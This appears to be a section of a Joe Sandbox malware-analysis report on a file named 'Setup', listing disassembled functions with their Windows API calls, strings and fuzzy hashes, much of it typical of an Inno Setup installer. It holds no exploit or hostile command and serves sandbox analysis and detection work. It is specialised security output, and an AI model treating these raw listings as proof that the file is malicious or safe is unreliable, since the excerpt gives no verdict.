Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID: REGDLL_EXE$\_RegDLL.tmp$\_setup64.tmp$_isetup
API String ID: 1375471231-2403759895
Opcode ID: 063f515d96df7263f39b9a5ad0e3d0623db785076d7b05e57285fb306eb1aba5
Instruction ID: aa6ac314d6f0b6bc9d4ef35e7917373bcd146da204009fb0c1fce30c33232ec7
Opcode Fuzzy Hash: 063f515d96df7263f39b9a5ad0e3d0623db785076d7b05e57285fb306eb1aba5
Instruction Fuzzy Hash: CF413B349001099BDB01EF96C881ADEB7B9FF48304F50857BE915B7391DB38AE058F59

Function 0049AA00 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 97COMMON

Download Yara Rule

APIs

Part of subcall function 004241D0: SetWindowTextA.USER32(00010426,00000000), ref: 004241E8

ShowWindow.USER32(00010426,00000005,00000000,0049AC65,?,?,00000000), ref: 0049AA36

Part of subcall function 0042D73C: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 0042D74F

Part of subcall function 004072B0: SetCurrentDirectoryA.KERNEL32(00000000,?,0049AA5E,00000000,0049AC31,?,00010426,00000005,00000000,0049AC65,?,?,00000000), ref: 004072BB

Part of subcall function 0042D2C4: GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000,0042D352,?,?,?,00000001,?,00458B1A,00000000,00458B82), ref: 0042D2F9

Strings

Uninstall, xrefs: 0049AA1C
04E, xrefs: 0049AAC6
.dat, xrefs: 0049AA7D
IMsg, xrefs: 0049AB0A
.msg, xrefs: 0049AA9C

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: DirectoryWindow$CurrentFileModuleNameShowSystemText
String ID: .dat$.msg$04E$IMsg$Uninstall
API String ID: 3312786188-101630828
Opcode ID: c90c259d8b88c65b291b92c69605c4ec51a483d1742f2853af3bbdff3d58def9
Instruction ID: cff90bc2fa55194cc2a24e5e143b6c56e56b85db6f32114a5b6cbb84132e94cf
Opcode Fuzzy Hash: c90c259d8b88c65b291b92c69605c4ec51a483d1742f2853af3bbdff3d58def9
Instruction Fuzzy Hash: A231A5306106149FCB00EF66CC8295F7BB5FB99309B50847AF9009B392CB3CAD14CB99

Function 0041C0C8 Relevance: 10.6, APIs: 7, Instructions: 70windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0041BFC8: GetObjectA.GDI32(?,00000018), ref: 0041BFD5

GetFocus.USER32 ref: 0041C0E8
73E9A570.USER32(?), ref: 0041C0F4
73E98830.GDI32(?,?,00000000,00000000,0041C173,?,?), ref: 0041C115
73E922A0.GDI32(?,?,?,00000000,00000000,0041C173,?,?), ref: 0041C121
GetDIBits.GDI32(?,?,00000000,?,?,?,00000000), ref: 0041C138
73E98830.GDI32(?,00000000,00000000,0041C17A,?,?), ref: 0041C160
73E9A480.USER32(?,?,0041C17A,?,?), ref: 0041C16D

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: E98830$A480A570BitsE922FocusObject
String ID:
API String ID: 2688936647-0
Opcode ID: 07ad9d64a263c787848b133374acc856071b8812e71de9cbce5ba76ca001df09
Instruction ID: 0511e737e66137086adcda5f6ab2624680f23edf0d60e5fa921aa67fd33f92f4
Opcode Fuzzy Hash: 07ad9d64a263c787848b133374acc856071b8812e71de9cbce5ba76ca001df09
Instruction Fuzzy Hash: E6112971A44614BFDB10DBA9CC81FAFB7FCEB48700F54486AB514E7281D678AD408B68

Function 004853E0 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 61registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0042DBF0: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,WSH,?,00000001,?,?,00485357,?,00000001,00000000), ref: 0042DC0C

RegCloseKey.ADVAPI32(?,?,00000001,00000000,00000000,00485498), ref: 0048547D

Strings

WinNT, xrefs: 0048542D
ServerNT, xrefs: 00485461
ProductType, xrefs: 0048541C
System\CurrentControlSet\Control\ProductOptions, xrefs: 00485404
LanmanNT, xrefs: 00485447

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: CloseOpen
String ID: LanmanNT$ProductType$ServerNT$System\CurrentControlSet\Control\ProductOptions$WinNT
API String ID: 47109696-2530820420
Opcode ID: 630a0a2095f7684f64c160d407463e60fbe1d0d313c31b9df25b08d41e4c37cc
Instruction ID: 42c9e07501e259fc8cb039f1a453bcc3be8de24b477799579d9ddc275f17e54e
Opcode Fuzzy Hash: 630a0a2095f7684f64c160d407463e60fbe1d0d313c31b9df25b08d41e4c37cc
Instruction Fuzzy Hash: B0110430B04A04ABDB10FAA6CC52B5F3AA9DB51B45F614877A800E7291E73CDD85871C

Function 0049824C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 57COMMON

Download Yara Rule

APIs

73E9A570.USER32(00000000,?,?,00000000), ref: 0049825D

Part of subcall function 0041A178: CreateFontIndirectA.GDI32(?), ref: 0041A237

SelectObject.GDI32(00000000,00000000), ref: 0049827F
GetTextExtentPointA.GDI32(00000000,ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz,00000034,00498801), ref: 00498293
GetTextMetricsA.GDI32(00000000,?), ref: 004982B5
73E9A480.USER32(00000000,00000000,004982DF,004982D8,?,00000000,?,?,00000000), ref: 004982D2

Strings

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz, xrefs: 0049828A

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Text$A480A570CreateExtentFontIndirectMetricsObjectPointSelect
String ID: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz
API String ID: 1435929781-222967699
Opcode ID: 0b12021dfd44eb8e63b832099e48b90db8c27278484b4e26a5972764ab751379
Instruction ID: 9ab41eedfe6bd512c46a6e84315cb9b694648b755dc516747bc5e9e4afb88068
Opcode Fuzzy Hash: 0b12021dfd44eb8e63b832099e48b90db8c27278484b4e26a5972764ab751379
Instruction Fuzzy Hash: 96012576A44604AFEB05DBE9CC41E5FB7ECDB49704F51047AB504E72C1DA78AE008B58

Function 0041B3E2 Relevance: 10.6, APIs: 7, Instructions: 57windowCOMMON

Download Yara Rule

APIs

SelectObject.GDI32(00000000,?), ref: 0041B3F0
SelectObject.GDI32(?,00000000), ref: 0041B3FF
StretchBlt.GDI32(?,00000000,00000000,0000000B,?,00000000,00000000,00000000,?,?,00CC0020), ref: 0041B42B
SelectObject.GDI32(00000000,00000000), ref: 0041B439
SelectObject.GDI32(?,00000000), ref: 0041B447
DeleteDC.GDI32(00000000), ref: 0041B450
DeleteDC.GDI32(?), ref: 0041B459

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: ObjectSelect$Delete$Stretch
String ID:
API String ID: 1458357782-0
Opcode ID: a55b514300acc8952986cf2658fa476aa579c08b4c091654ee782e1dda1d4d5d
Instruction ID: 8253b6522ae70c9e61ed5a848ad1180877758ee1826fdfc8484268bdb8e5bd7f
Opcode Fuzzy Hash: a55b514300acc8952986cf2658fa476aa579c08b4c091654ee782e1dda1d4d5d
Instruction Fuzzy Hash: 1A115072E40619AFDF10D6D9D885FEFB3FCEB08705F044555B614FB241C678A9418BA4

Function 004232A0 Relevance: 10.6, APIs: 7, Instructions: 56threadwindowCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32 ref: 004232BB
WindowFromPoint.USER32(?,?), ref: 004232C8
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 004232D6
GetCurrentThreadId.KERNEL32 ref: 004232DD
SendMessageA.USER32(00000000,00000084,?,?), ref: 004232F6
SendMessageA.USER32(00000000,00000020,00000000,00000000), ref: 0042330D
SetCursor.USER32(00000000), ref: 0042331F

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: CursorMessageSendThreadWindow$CurrentFromPointProcess
String ID:
API String ID: 1770779139-0
Opcode ID: a6cbaba23b56e31eafc6bc0a4f6c385e8d465430006306767b2e9aa59779b4b8
Instruction ID: c9d74a1adaf8454a6045ddf8d8fb4341ebcc3dfefdd74e0e553e51837b281004
Opcode Fuzzy Hash: a6cbaba23b56e31eafc6bc0a4f6c385e8d465430006306767b2e9aa59779b4b8
Instruction Fuzzy Hash: 5401D4223042107ADA20FB755C86E3F62B8DB85B65F50413FB948AB282DD3D8E00937D

Function 004019B4 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

RtlInitializeCriticalSection.KERNEL32(0049E420), ref: 004019CA
RtlEnterCriticalSection.KERNEL32(0049E420), ref: 004019DD
LocalAlloc.KERNEL32(00000000,00000FF8,00000000,00401A6A,?,?,00402216,0049E460,00000000,00000000,?,?,00401C31,00401C46,00401D8A), ref: 00401A07
RtlLeaveCriticalSection.KERNEL32(0049E420), ref: 00401A64

Strings

`I, xrefs: 00401A33
`I, xrefs: 00401A3D

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: CriticalSection$AllocEnterInitializeLeaveLocal
String ID: `I$`I
API String ID: 730355536-3984424023
Opcode ID: 540fe29c46751550c35be6fed7deb76cb8a6848682b29cf2ffa9f65530b08a42
Instruction ID: e259f36d61aaa5ee341d512d862b89ae2df29c1929773a1667b3e635ba3fee16
Opcode Fuzzy Hash: 540fe29c46751550c35be6fed7deb76cb8a6848682b29cf2ffa9f65530b08a42
Instruction Fuzzy Hash: E90180706442509EFB15EB7BA8067153E94D799708F55843BE440A7AF2C6BD4840CB6E

Function 00498070 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 47libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(user32.dll), ref: 00498080
GetProcAddress.KERNEL32(00000000,MonitorFromRect), ref: 0049808D
GetProcAddress.KERNEL32(00000000,GetMonitorInfoA), ref: 0049809A

Strings

user32.dll, xrefs: 0049807B
MonitorFromRect, xrefs: 00498087
GetMonitorInfoA, xrefs: 00498094

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: GetMonitorInfoA$MonitorFromRect$user32.dll
API String ID: 667068680-2254406584
Opcode ID: 6affddbb3eac0a51b9a6d5c6bc05e3f518ab05837fdf05573b3ef6fcf3d2c60d
Instruction ID: a2f5acdd3957b9bb1c6c640c5f039d6a37edc661523d0408cf6de86c2e818c34
Opcode Fuzzy Hash: 6affddbb3eac0a51b9a6d5c6bc05e3f518ab05837fdf05573b3ef6fcf3d2c60d
Instruction Fuzzy Hash: 17F09652B4171927DA20356E4C42A6B6ECCDB96760F16413FBD04A7383EDAD8C0D86BD

Function 0045FC1C Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 34libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,ISCryptGetVersion), ref: 0045FC25
GetProcAddress.KERNEL32(?,ArcFourInit), ref: 0045FC35
GetProcAddress.KERNEL32(?,ArcFourCrypt), ref: 0045FC45

Strings

ArcFourInit, xrefs: 0045FC2F
ArcFourCrypt, xrefs: 0045FC3F
ISCryptGetVersion, xrefs: 0045FC1F

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: AddressProc
String ID: ArcFourCrypt$ArcFourInit$ISCryptGetVersion
API String ID: 190572456-508647305
Opcode ID: 1fc1e56ad0172725834a64a4f06496dfc7e8384a183a1990e9dddc654a91a180
Instruction ID: 499fc906917fafdced4104d327e2f4bd74f41f932956743106a0c41e2f1fd985
Opcode Fuzzy Hash: 1fc1e56ad0172725834a64a4f06496dfc7e8384a183a1990e9dddc654a91a180
Instruction Fuzzy Hash: 4FF0F4B1901F049AE705EF36BD4671636E9B7E0306B24C2BBAC08C11A3DB78086DCA1D

Function 00460100 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 33libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,BZ2_bzDecompressInit), ref: 00460109
GetProcAddress.KERNEL32(?,BZ2_bzDecompress), ref: 00460119
GetProcAddress.KERNEL32(?,BZ2_bzDecompressEnd), ref: 00460129

Strings

BZ2_bzDecompressEnd, xrefs: 00460123
BZ2_bzDecompress, xrefs: 00460113
BZ2_bzDecompressInit, xrefs: 00460103

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: AddressProc
String ID: BZ2_bzDecompress$BZ2_bzDecompressEnd$BZ2_bzDecompressInit
API String ID: 190572456-212574377
Opcode ID: d505b86cd76bc4e9f72d4a62789cd2ea20e40c03db02b34eb8274768e03c8e73
Instruction ID: 9822c70df383b9705f5c39400507dfdeb922bba1e2cf44c4a4d336a9ddffee7e
Opcode Fuzzy Hash: d505b86cd76bc4e9f72d4a62789cd2ea20e40c03db02b34eb8274768e03c8e73
Instruction Fuzzy Hash: 25F030B19003009EE715DF329C427A336E9A766304F20C53B9509D6673F77A0899CF2D

Function 0044F61C Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 28libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(oleacc.dll,?,00451EA5), ref: 0044F62B
GetProcAddress.KERNEL32(00000000,LresultFromObject), ref: 0044F63C
GetProcAddress.KERNEL32(00000000,CreateStdAccessibleObject), ref: 0044F64C

Strings

LresultFromObject, xrefs: 0044F636
CreateStdAccessibleObject, xrefs: 0044F646
oleacc.dll, xrefs: 0044F626

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: CreateStdAccessibleObject$LresultFromObject$oleacc.dll
API String ID: 2238633743-1050967733
Opcode ID: 3042ca20ad3c8226fa0f74a12d03c6188e1679d4f97100a7a4f0b01943a5db0b
Instruction ID: 6a521a7a3a94d55eb2e95fe4faae25c0947adc2367f7ea29fe2771901fc429db
Opcode Fuzzy Hash: 3042ca20ad3c8226fa0f74a12d03c6188e1679d4f97100a7a4f0b01943a5db0b
Instruction Fuzzy Hash: 37F0D4B06407019AF710EBA3988572637D8F320B09F1115BBE401963F2D7B94889CF1E

Function 0047ADD0 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 14libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,?,0049B8BC), ref: 0047ADD6
GetProcAddress.KERNEL32(00000000,VerSetConditionMask), ref: 0047ADE3
GetProcAddress.KERNEL32(00000000,VerifyVersionInfoW), ref: 0047ADF3

Strings

kernel32.dll, xrefs: 0047ADD1
VerSetConditionMask, xrefs: 0047ADDD
VerifyVersionInfoW, xrefs: 0047ADED

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: VerSetConditionMask$VerifyVersionInfoW$kernel32.dll
API String ID: 667068680-222143506
Opcode ID: 1468e3f801c22d8ce51f818fe048a44e7f7720346f7ca941db3fc6eb58566781
Instruction ID: a48826ba7cfe5fc909a320e1d3a0089cf2fe945d1f25bc0287002d87fda9f36d
Opcode Fuzzy Hash: 1468e3f801c22d8ce51f818fe048a44e7f7720346f7ca941db3fc6eb58566781
Instruction Fuzzy Hash: 1BC0E9A1A847446DA600B7B15C8296F369DD554709330D83BB809A91D3D57D4C798B2D

Function 0041B5EC Relevance: 9.1, APIs: 6, Instructions: 144windowCOMMON

Download Yara Rule

APIs

GetFocus.USER32 ref: 0041B6C5
73E9A570.USER32(?), ref: 0041B6D1
73E98830.GDI32(00000000,?,00000000,00000000,0041B79C,?,?), ref: 0041B706
73E922A0.GDI32(00000000,00000000,?,00000000,00000000,0041B79C,?,?), ref: 0041B712
73EA6310.GDI32(00000000,?,00000004,?,?,00000000,00000000,0041B77A,?,00000000,0041B79C,?,?), ref: 0041B740
73E98830.GDI32(00000000,00000000,00000000,0041B781,?,?,00000000,00000000,0041B77A,?,00000000,0041B79C,?,?), ref: 0041B774

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: E98830$A570A6310E922Focus
String ID:
API String ID: 184897721-0
Opcode ID: f2548287b499221e6d7929725c1c260b840a262c9d19947d4ec658156fbfa194
Instruction ID: 61a0ed95f1b4531e55b55838ac271fdf4bc60d747e56f9f6148cb90659babd33
Opcode Fuzzy Hash: f2548287b499221e6d7929725c1c260b840a262c9d19947d4ec658156fbfa194
Instruction Fuzzy Hash: F2510C70A00208AFDF11DFA9C895AEEBBB4EF49704F104466F504A7790D7789D81CBA9

Function 0041B8BC Relevance: 9.1, APIs: 6, Instructions: 142windowCOMMON

Download Yara Rule

APIs

GetFocus.USER32 ref: 0041B997
73E9A570.USER32(?), ref: 0041B9A3
73E98830.GDI32(00000000,?,00000000,00000000,0041BA69,?,?), ref: 0041B9DD
73E922A0.GDI32(00000000,00000000,?,00000000,00000000,0041BA69,?,?), ref: 0041B9E9
73EA6310.GDI32(00000000,?,00000004,?,?,00000000,00000000,0041BA47,?,00000000,0041BA69,?,?), ref: 0041BA0D
73E98830.GDI32(00000000,00000000,00000000,0041BA4E,?,?,00000000,00000000,0041BA47,?,00000000,0041BA69,?,?), ref: 0041BA41

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: E98830$A570A6310E922Focus
String ID:
API String ID: 184897721-0
Opcode ID: 0c8e554c2531c69577f0ab0e13d5e7590809a670c580597505a13d96888d2544
Instruction ID: 2d32ae78da32f97936f99f3da6ba429f4b25f0a5934b61c6176da5957960a169
Opcode Fuzzy Hash: 0c8e554c2531c69577f0ab0e13d5e7590809a670c580597505a13d96888d2544
Instruction Fuzzy Hash: 96512A74A002189FDB11DFA9C881AAEBBF9FF48700F11406AF504EB751D7389D40CBA8

Function 0041B488 Relevance: 9.1, APIs: 6, Instructions: 113windowCOMMON

Download Yara Rule

APIs

GetFocus.USER32 ref: 0041B4FE
73E9A570.USER32(?,00000000,0041B5D8,?,?,?,?), ref: 0041B50A
73EA4620.GDI32(?,00000068,00000000,0041B5AC,?,?,00000000,0041B5D8,?,?,?,?), ref: 0041B526
73ECE680.GDI32(?,00000000,00000008,?,?,00000068,00000000,0041B5AC,?,?,00000000,0041B5D8,?,?,?,?), ref: 0041B543
73ECE680.GDI32(?,00000000,00000008,?,?,00000000,00000008,?,?,00000068,00000000,0041B5AC,?,?,00000000,0041B5D8), ref: 0041B55A
73E9A480.USER32(?,?,0041B5B3,?,?), ref: 0041B5A6

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: E680$A4620A480A570Focus
String ID:
API String ID: 2226671993-0
Opcode ID: ecf7c43b31a47103dc51dd2beded2e49f3e3dab799a503fe41bcdee2650b3e69
Instruction ID: 072e10b186aaf30c0c390e58ee8d2f4f63bc2c2cb91f269766cc713ac1da9899
Opcode Fuzzy Hash: ecf7c43b31a47103dc51dd2beded2e49f3e3dab799a503fe41bcdee2650b3e69
Instruction Fuzzy Hash: F541C871A04214AFCB10DFB9C885AAFBBB5EF49704F1484AAF540EB351D738AD50CBA5

Function 00499218 Relevance: 9.1, APIs: 6, Instructions: 90sleepsynchronizationthreadCOMMON

Download Yara Rule

APIs

Part of subcall function 0045354C: SetEndOfFile.KERNEL32(?,?,0045EDF6,00000000,0045EF81,?,00000000,00000002,00000002), ref: 00453553

Part of subcall function 00406F58: DeleteFileA.KERNEL32(00000000,0049E624,0049B395,00000000,0049B3EA,?,?,00000005,?,00000000,00000000,00000000,Inno-Setup-RegSvr-Mutex,?,00000005,00000000), ref: 00406F63

GetWindowThreadProcessId.USER32(?,?), ref: 004992A9
OpenProcess.KERNEL32(00100000,00000000,?,?,?), ref: 004992BD
SendNotifyMessageA.USER32(?,0000054D,00000000,00000000), ref: 004992D7
WaitForSingleObject.KERNEL32(00000000,000000FF,?,0000054D,00000000,00000000,?,?), ref: 004992E3
CloseHandle.KERNEL32(00000000,00000000,000000FF,?,0000054D,00000000,00000000,?,?), ref: 004992E9
Sleep.KERNEL32(000001F4,?,0000054D,00000000,00000000,?,?), ref: 004992FC

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: FileProcess$CloseDeleteHandleMessageNotifyObjectOpenSendSingleSleepThreadWaitWindow
String ID:
API String ID: 1570157960-0
Opcode ID: ebb4947d4c0b9667dc3b004d6133aabffcabd8899ca9747c1b07aa2989df26f8
Instruction ID: a9d286414b1303ea1e402924e5f1a3a6d470f939e9b110c691cde055b4e24c3f
Opcode Fuzzy Hash: ebb4947d4c0b9667dc3b004d6133aabffcabd8899ca9747c1b07aa2989df26f8
